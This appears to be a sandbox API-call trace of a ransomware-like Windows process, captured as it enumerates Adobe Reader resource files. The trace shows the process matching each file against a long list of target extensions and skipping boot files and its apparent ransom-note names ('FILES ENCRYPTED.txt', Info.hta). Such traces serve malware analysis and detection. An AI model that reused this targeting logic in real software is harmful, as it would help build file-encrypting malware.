	[0176.917] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0176.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.917] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0176.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.917] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0176.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.917] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0176.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.918] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0176.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.918] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0176.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.918] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0176.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.918] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0176.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.918] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0176.918] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0176.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.919] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f85, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0176.919] lstrlenW (lpString="plugin.js") returned 9
	[0176.919] lstrlenW (lpString=".1cd") returned 4
	[0176.919] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1
	[0176.919] lstrlenW (lpString=".3ds") returned 4
	[0176.919] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1
	[0176.919] lstrlenW (lpString=".3fr") returned 4
	[0176.919] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1
	[0176.919] lstrlenW (lpString=".3g2") returned 4
	[0176.919] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1
	[0176.919] lstrlenW (lpString=".3gp") returned 4
	[0176.919] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1
	[0176.919] lstrlenW (lpString=".7z") returned 3
	[0176.919] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0176.919] lstrlenW (lpString=".accda") returned 6
	[0176.919] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1
	[0176.919] lstrlenW (lpString=".accdb") returned 6
	[0176.919] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1
	[0176.919] lstrlenW (lpString=".accdc") returned 6
	[0176.919] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1
	[0176.919] lstrlenW (lpString=".accde") returned 6
	[0176.919] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1
	[0176.919] lstrlenW (lpString=".accdt") returned 6
	[0176.919] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1
	[0176.919] lstrlenW (lpString=".accdw") returned 6
	[0176.919] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1
	[0176.919] lstrlenW (lpString=".adb") returned 4
	[0176.919] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".adp") returned 4
	[0176.920] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".ai") returned 3
	[0176.920] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0176.920] lstrlenW (lpString=".ai3") returned 4
	[0176.920] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".ai4") returned 4
	[0176.920] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".ai5") returned 4
	[0176.920] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".ai6") returned 4
	[0176.920] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".ai7") returned 4
	[0176.920] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".ai8") returned 4
	[0176.920] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".anim") returned 5
	[0176.920] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1
	[0176.920] lstrlenW (lpString=".arw") returned 4
	[0176.920] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".as") returned 3
	[0176.920] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0176.920] lstrlenW (lpString=".asa") returned 4
	[0176.920] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".asc") returned 4
	[0176.920] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".ascx") returned 5
	[0176.920] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1
	[0176.920] lstrlenW (lpString=".asm") returned 4
	[0176.920] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1
	[0176.920] lstrlenW (lpString=".asmx") returned 5
	[0176.920] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1
	[0176.920] lstrlenW (lpString=".asp") returned 4
	[0176.920] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".aspx") returned 5
	[0176.921] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1
	[0176.921] lstrlenW (lpString=".asr") returned 4
	[0176.921] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".asx") returned 4
	[0176.921] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".avi") returned 4
	[0176.921] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".avs") returned 4
	[0176.921] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".backup") returned 7
	[0176.921] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1
	[0176.921] lstrlenW (lpString=".bak") returned 4
	[0176.921] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".bay") returned 4
	[0176.921] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".bd") returned 3
	[0176.921] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0176.921] lstrlenW (lpString=".bin") returned 4
	[0176.921] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".bmp") returned 4
	[0176.921] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".bz2") returned 4
	[0176.921] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".c") returned 2
	[0176.921] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0176.921] lstrlenW (lpString=".cdr") returned 4
	[0176.921] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".cer") returned 4
	[0176.921] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1
	[0176.921] lstrlenW (lpString=".cf") returned 3
	[0176.921] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0176.921] lstrlenW (lpString=".cfc") returned 4
	[0176.922] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1
	[0176.922] lstrlenW (lpString=".cfm") returned 4
	[0176.922] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1
	[0176.922] lstrlenW (lpString=".cfml") returned 5
	[0176.922] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1
	[0176.922] lstrlenW (lpString=".cfu") returned 4
	[0176.922] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1
	[0176.922] lstrlenW (lpString=".chm") returned 4
	[0176.922] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1
	[0176.922] lstrlenW (lpString=".cin") returned 4
	[0176.922] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1
	[0176.922] lstrlenW (lpString=".class") returned 6
	[0176.922] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1
	[0176.922] lstrlenW (lpString=".clx") returned 4
	[0176.922] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1
	[0176.922] lstrlenW (lpString=".config") returned 7
	[0176.922] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1
	[0176.922] lstrlenW (lpString=".cpp") returned 4
	[0176.922] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1
	[0176.922] lstrlenW (lpString=".cr2") returned 4
	[0176.922] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1
	[0176.922] lstrlenW (lpString=".crt") returned 4
	[0176.922] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1
	[0176.922] lstrlenW (lpString=".crw") returned 4
	[0176.922] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".cs") returned 3
	[0176.923] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0176.923] lstrlenW (lpString=".css") returned 4
	[0176.923] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".csv") returned 4
	[0176.923] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".cub") returned 4
	[0176.923] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".dae") returned 4
	[0176.923] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".dat") returned 4
	[0176.923] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".db") returned 3
	[0176.923] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0176.923] lstrlenW (lpString=".dbf") returned 4
	[0176.923] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".dbx") returned 4
	[0176.923] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".dc3") returned 4
	[0176.923] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".dcm") returned 4
	[0176.923] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".dcr") returned 4
	[0176.923] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".der") returned 4
	[0176.923] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".dib") returned 4
	[0176.923] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".dic") returned 4
	[0176.923] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".dif") returned 4
	[0176.923] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1
	[0176.923] lstrlenW (lpString=".divx") returned 5
	[0176.923] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1
	[0176.923] lstrlenW (lpString=".djvu") returned 5
	[0176.924] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1
	[0176.924] lstrlenW (lpString=".dng") returned 4
	[0176.924] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1
	[0176.924] lstrlenW (lpString=".doc") returned 4
	[0176.924] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1
	[0176.924] lstrlenW (lpString=".docm") returned 5
	[0176.924] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1
	[0176.924] lstrlenW (lpString=".docx") returned 5
	[0176.924] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1
	[0176.924] lstrlenW (lpString=".dot") returned 4
	[0176.924] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1
	[0176.924] lstrlenW (lpString=".dotm") returned 5
	[0176.924] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1
	[0176.924] lstrlenW (lpString=".dotx") returned 5
	[0176.924] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1
	[0176.924] lstrlenW (lpString=".dpx") returned 4
	[0176.924] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1
	[0176.924] lstrlenW (lpString=".dqy") returned 4
	[0176.924] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1
	[0176.924] lstrlenW (lpString=".dsn") returned 4
	[0176.924] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1
	[0176.924] lstrlenW (lpString=".dt") returned 3
	[0176.924] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0176.924] lstrlenW (lpString=".dtd") returned 4
	[0176.924] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1
	[0176.924] lstrlenW (lpString=".dwg") returned 4
	[0176.924] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1
	[0176.924] lstrlenW (lpString=".dwt") returned 4
	[0176.924] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1
	[0176.924] lstrlenW (lpString=".dx") returned 3
	[0176.924] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0176.924] lstrlenW (lpString=".dxf") returned 4
	[0176.924] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1
	[0176.924] lstrlenW (lpString=".edml") returned 5
	[0176.925] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1
	[0176.925] lstrlenW (lpString=".efd") returned 4
	[0176.925] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".elf") returned 4
	[0176.925] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".emf") returned 4
	[0176.925] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".emz") returned 4
	[0176.925] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".epf") returned 4
	[0176.925] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".eps") returned 4
	[0176.925] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".epsf") returned 5
	[0176.925] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1
	[0176.925] lstrlenW (lpString=".epsp") returned 5
	[0176.925] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1
	[0176.925] lstrlenW (lpString=".erf") returned 4
	[0176.925] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".exr") returned 4
	[0176.925] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".f4v") returned 4
	[0176.925] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".fido") returned 5
	[0176.925] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1
	[0176.925] lstrlenW (lpString=".flm") returned 4
	[0176.925] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".flv") returned 4
	[0176.925] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".frm") returned 4
	[0176.925] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".fxg") returned 4
	[0176.925] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1
	[0176.925] lstrlenW (lpString=".geo") returned 4
	[0176.926] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1
	[0176.926] lstrlenW (lpString=".gif") returned 4
	[0176.926] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1
	[0176.926] lstrlenW (lpString=".grs") returned 4
	[0176.926] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1
	[0176.926] lstrlenW (lpString=".gz") returned 3
	[0176.926] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0176.926] lstrlenW (lpString=".h") returned 2
	[0176.926] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0176.926] lstrlenW (lpString=".hdr") returned 4
	[0176.926] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1
	[0176.926] lstrlenW (lpString=".hpp") returned 4
	[0176.926] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1
	[0176.926] lstrlenW (lpString=".hta") returned 4
	[0176.926] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1
	[0176.926] lstrlenW (lpString=".htc") returned 4
	[0176.926] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1
	[0176.926] lstrlenW (lpString=".htm") returned 4
	[0176.926] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1
	[0176.926] lstrlenW (lpString=".html") returned 5
	[0176.926] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1
	[0176.926] lstrlenW (lpString=".icb") returned 4
	[0176.926] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1
	[0176.926] lstrlenW (lpString=".ics") returned 4
	[0176.929] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1
	[0176.929] lstrlenW (lpString=".iff") returned 4
	[0176.929] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1
	[0176.929] lstrlenW (lpString=".inc") returned 4
	[0176.929] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1
	[0176.929] lstrlenW (lpString=".indd") returned 5
	[0176.929] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1
	[0176.929] lstrlenW (lpString=".ini") returned 4
	[0176.929] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1
	[0176.929] lstrlenW (lpString=".iqy") returned 4
	[0176.929] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1
	[0176.929] lstrlenW (lpString=".j2c") returned 4
	[0176.929] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1
	[0176.929] lstrlenW (lpString=".j2k") returned 4
	[0176.929] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1
	[0176.929] lstrlenW (lpString=".java") returned 5
	[0176.929] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1
	[0176.929] lstrlenW (lpString=".jp2") returned 4
	[0176.929] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1
	[0176.929] lstrlenW (lpString=".jpc") returned 4
	[0176.929] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1
	[0176.929] lstrlenW (lpString=".jpe") returned 4
	[0176.929] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1
	[0176.929] lstrlenW (lpString=".jpeg") returned 5
	[0176.929] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1
	[0176.930] lstrlenW (lpString=".jpf") returned 4
	[0176.930] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1
	[0176.930] lstrlenW (lpString=".jpg") returned 4
	[0176.930] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1
	[0176.930] lstrlenW (lpString=".jpx") returned 4
	[0176.930] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1
	[0176.930] lstrlenW (lpString=".js") returned 3
	[0176.930] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0176.930] lstrlenW (lpString="plugin.js") returned 9
	[0176.930] lstrlenW (lpString=".GTF") returned 4
	[0176.930] lstrcmpiW (lpString1=".GTF", lpString2="n.js") returned -1
	[0176.930] lstrlenW (lpString="plugin.js") returned 9
	[0176.930] lstrcmpiW (lpString1="boot.ini", lpString2="plugin.js") returned -1
	[0176.930] lstrcmpiW (lpString1="bootfont.bin", lpString2="plugin.js") returned -1
	[0176.930] lstrcmpiW (lpString1="ntldr", lpString2="plugin.js") returned -1
	[0176.930] lstrcmpiW (lpString1="ntdetect.com", lpString2="plugin.js") returned -1
	[0176.930] lstrcmpiW (lpString1="io.sys", lpString2="plugin.js") returned -1
	[0176.930] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="plugin.js") returned -1
	[0176.930] lstrcmpiW (lpString1="Info.hta", lpString2="plugin.js") returned -1
	[0176.930] lstrcmpiW (lpString1="fvppjh.exe", lpString2="plugin.js") returned -1
	[0176.930] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\plugin.js") returned 120
	[0176.930] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 1
	[0176.930] lstrlenW (lpString="selector.js") returned 11
	[0176.930] lstrlenW (lpString=".1cd") returned 4
	[0176.930] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1
	[0176.930] lstrlenW (lpString=".3ds") returned 4
	[0176.930] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1
	[0176.930] lstrlenW (lpString=".3fr") returned 4
	[0176.930] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1
	[0176.930] lstrlenW (lpString=".3g2") returned 4
	[0176.931] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1
	[0176.931] lstrlenW (lpString=".3gp") returned 4
	[0176.931] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1
	[0176.931] lstrlenW (lpString=".7z") returned 3
	[0176.931] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0176.931] lstrlenW (lpString=".accda") returned 6
	[0176.931] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1
	[0176.931] lstrlenW (lpString=".accdb") returned 6
	[0176.931] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1
	[0176.931] lstrlenW (lpString=".accdc") returned 6
	[0176.931] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1
	[0176.931] lstrlenW (lpString=".accde") returned 6
	[0176.931] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1
	[0176.931] lstrlenW (lpString=".accdt") returned 6
	[0176.931] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1
	[0176.931] lstrlenW (lpString=".accdw") returned 6
	[0176.931] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1
	[0176.931] lstrlenW (lpString=".adb") returned 4
	[0176.931] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1
	[0176.931] lstrlenW (lpString=".adp") returned 4
